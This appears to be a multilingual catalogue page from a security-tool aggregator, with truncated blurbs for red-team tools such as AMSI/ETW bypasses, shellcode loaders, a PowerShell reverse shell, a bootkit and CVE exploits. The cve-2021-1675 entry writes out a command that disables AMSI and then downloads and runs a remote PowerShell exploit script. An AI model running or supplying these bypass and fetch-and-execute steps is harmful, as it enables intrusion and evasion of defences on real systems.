PatchlessCLRLoader

PatchlessCLRLoader PatchlessCLRLoader è un fork di InlineExecute-Assembly per caricare assembly .NET e indirizzare l'output a mailslot. L'ho riscritto come loader standalone con la seguente implementazione: Payload con crittografia AES Supporto payload fileless Bypass patchless di AMSI ed ETW...

IronSharpPack

IronSharpPack IronSharpPack è un repository di popolari progetti C che sono stati incorporati in script IronPython che eseguono un bypass di AMSI e poi caricano in modo riflessivo il progetto C. IronPython e il DLR hanno pochissima, se non nessuna, strumentazione che lo rende un linguaggio effica...

AMSI-patches-learned-till-now

AMSI-patches-learned-till-now Eu documentei todos os patches de AMSI que aprendi até agora ❗ Meu aprendizado de patch de AMSI até agora. Não pertence aos ativos da minha empresa! AVISO LEGAL: Este código não tem a intenção de ser evasivo até agora! Apenas uma abordagem conceitual. Links: 1...

MeterPwrShell

Strumento Inattivo - Motivo : impegnato con altro root@kitploit: . . . / \ / | \ \ / /| | | | | | \ \ / \ / / \ / \ \ | / / | \ \ | | / | | | | / / / Y \ /| | \ /| | / | \ / | | / | Y \ /| || |/ \ | /\ | \ | || // || / /|| /\ /| / / / / / / / / MeterPwrShell2 Strumento...

PowerShellArmoury

!IMPORTANT Questo repository è ora archiviato. Sebbene sia stato un percorso divertente, penso che PSArmoury abbia esaurito la sua utilità. PowerShellArmoury PowerShell Armoury è pensato per penetration tester, "inserisci-colore-qui"-team e chiunque altro utilizzi una varietà di strumenti...

FullBypass

FullBypass Ein Tool, das AMSI AntiMalware Scan Interface und PowerShell CLM Constrained Language Mode umgeht und Ihnen eine FullLanguage PowerShell Reverse Shell gibt. root@kitploit: P.S Please do not use in unethical hacking and follow all rules and regulations of laws Verwendung: Laden Sie...

GoRedOps

GoRedOps Telegram: https://t.me/ebytelabs GoRedOps ist eine Sammlung von Golang-Projekten, die speziell für Red Teamer und offensive Sicherheitsoperationen entwickelt wurden. Dieses Repository stellt verschiedene Werkzeuge und Techniken bereit, die für Penetrationstests, Exploitation und...

AMSI-Bypass

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Chiediamo il ritorno sicuro di tutti i cittadini presi in ostaggio dal gruppo terroristico Hamas. Non ci fermeremo finché ogni ostaggio non sarà rilasciato e non tornerà a casa sano e salvo. Puoi aiutarci a riportarli a casa.https://stories.bringthemhomenow.net/...

AMSI-Bypass

AMSI-Bypass Elenchi di trigger AMSI VBA, JScript / VBScript Riferimento : MISC 104 - AMSI: Funzionamento e Bypass In VBA, JScript e VBScript, AMSI utilizza un buffer circolare per registrare le istruzioni e un elenco di funzioni ritenute sospette. L'uso di una di queste funzioni in blacklist atti...

mora-hwbp

Mora-HWBP — AMSI / WLDP / ETW Telemetrie-Hooking über Hardware-Breakpoints Ein Proof-of-Concept POC aus der Sicherheitsforschung, das auf Hardware-Breakpoints CPU-Debug-Register basierendes Funktions-Hooking als Alternative zum herkömmlichen In-Memory-Code-Patching demonstriert. Zweck & Umfang...

TALKINGEBN

|-------------------| TALKINGBEN : --- Eine BootKit-Malware, die zunächst eine Privilege Escalation auf dem Opferrechner durchführt. Durch Patchen von NtTraceEvent und AMSI Memory-Buffer-Scanner kann sie Windows Defender umgehen und eine Payload laden, ohne erkannt zu werden. Dann verwenden wir...

CTT-MICROSOFT-OFFICE-OLE-MANIFOLD-BYPASS-CVE-2026-21509

🏛️CTT - Microsoft Office OLE Manifold BYPASS CVE-2026-21509 Standardisierte CTT-Implementierung für 1096x temporale Ausführung ! 📜 Schwachstellenübersicht CVE-2026-21509 ist ein kritischer Bypass in der Microsoft Office OLE-Validierungsengine Object Linking and Embedding. Während standardmäßige...

nimcrypt

nimcrypt Un loader di shellcode per Sliver scritto in Nim per Windows x64. Due varianti per coprire le due situazioni di consegna più comuni. Testato contro Windows Defender con protezione in tempo reale attiva. Varianti stager Legge un blob di shellcode crittografato dal disco, lo decifra in...

Nemesis

Nemesis domani rilascio un aggiornamento, cambio licenza e anche qualche nuovo mons contro i data stealer. strumento windows che ho creato perché ero stanco di guardare fork di jlaive nei campioni di malware senza nulla di pubblico per smontarli davvero a runtime. in breve, è un monitor di proces...

powershell-reverse-tcp

PowerShell Reverse TCP Script PowerShell per comunicare con un host remoto. L'host remoto avrà il pieno controllo sul client e su tutti i comandi di sistema sottostanti. Controlla le shell basate su: comando PowerShell Invoke-Expression qui, pipe di processo qui. Testato con PowerShell...

BOF_ExecuteAssembly

BOF Execute-Assembly Beacon Object File per Cobalt Strike che esegue assembly .NET nel beacon con tecniche di evasione. Panoramica Architettura Principale root@kitploit: ┌──────────────────────────────────────────────────────────────────────────────┐ │ Cobalt Strike Beacon │ │ Parent Process │...

cve-2021-1675

cve-2021-1675 disabilita amsi: copia in powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt esegui invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' crea account...

AMSI.fail

AMSI.fail Originariamente una Funzione Azure in C successivamente portata in JS con un trigger HTTP che genera snippet PowerShell offuscati che rompono o disabilitano AMSI per il processo corrente. Gli snippet vengono selezionati casualmente da un piccolo pool di tecniche/variazioni prima di esse...

CVE-2022-25226

ThinVNC 1.0b1 - Bypass dell'autenticazione per esecuzione remota di codice CVE-2022-25226 Autore: krill-x7 Riferimento: https://fluidattacks.com/advisories/sinatra Panoramica ThinVNC 1.0b1 contiene una vulnerabilità di bypass dell'autenticazione CVE-2022-25226 che consente a malintenzionati remot...

ThreatCheck

ThreatCheck Versione modificata di Matterpreter's DefenderCheck. Prende un binario come input da un file su disco o da un URL, lo suddivide fino a individuare i byte esatti che il motore di destinazione segnalerà e li stampa a schermo. Questo può essere utile quando si cerca di identificare i pez...